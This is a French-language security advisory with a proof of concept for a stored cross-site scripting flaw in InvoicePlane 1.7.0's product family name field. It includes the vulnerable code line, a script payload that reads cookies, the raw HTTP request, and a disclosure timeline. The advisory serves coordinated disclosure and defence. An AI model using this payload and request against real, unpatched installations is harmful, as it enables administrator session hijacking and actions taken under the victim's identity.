
# Preuve de concept XSS stocké pour InvoicePlane 1.7.0 via le champ du nom de famille, incluant la charge utile, la requête et l'analyse d'impact pour la recherche défensive.
Vulnérabilité : Cross-Site Scripting (XSS) stocké via le champ Nom de famille
Produit : InvoicePlane
Version concernée : 1.7.0 (et probablement les versions antérieures)
Gravité : Moyenne
Score CVSS 3.1 : 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE : CWE-79 : Neutralisation incorrecte de l'entrée lors de la génération d'une page Web
Découvert par : Leonidas Agathos
Date du rapport : 2026-01-31
Le champ family_name du formulaire de famille de produits (/index.php/families/form) accepte toute entrée arbitraire sans assainissement. La valeur est stockée dans la base de données puis rendue sans encodage dans la liste déroulante des familles de la page de création/modification de produit, provoquant l'exécution de JavaScript pour tout administrateur qui visite le formulaire de produit.
Fichier vulnérable : application/modules/products/views/form.php:40
// Ligne 40
><?php echo $family->family_name; ?></option>
Étape 1 — Injecter la charge utile dans le champ Nom de famille
Accédez à /index.php/families/form et soumettez ce qui suit comme Nom de famille :
<script>alert('domain:'+document.domain+'cookies:'+document.cookie)</script>
Requête :
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E

Étape 2 — Déclencher le XSS
Accédez à /index.php/products/form. La charge utile s'exécute lorsque la liste déroulante des familles est rendue.

Tout administrateur visitant la page de création ou de modification de produit verra la charge utile s'exécuter dans son navigateur. Cela permet le détournement de session (si les cookies ne sont pas HttpOnly), le vol de jetons CSRF et l'exécution d'actions sous l'identité de la victime.
| Date | Événement |
|---|---|
| 2026-01-30 | Vulnérabilité découverte |
| 2026-01-31 | Preuve de concept développée |
| 2026-01-31 | Fournisseur notifié |
| 2026-02-04 | Accusé de réception du fournisseur |
| 2026-02-04 | Correctif publié |
| 2026-02-05 | Divulgation publique |
Cette vulnérabilité a été découverte lors d'une recherche en sécurité indépendante. Toutes les informations sont fournies strictement à des fins éducatives, de recherche et de défense afin d'aider le fournisseur et la communauté de la sécurité à comprendre et à corriger le problème. Toute utilisation malveillante de ces informations est strictement interdite.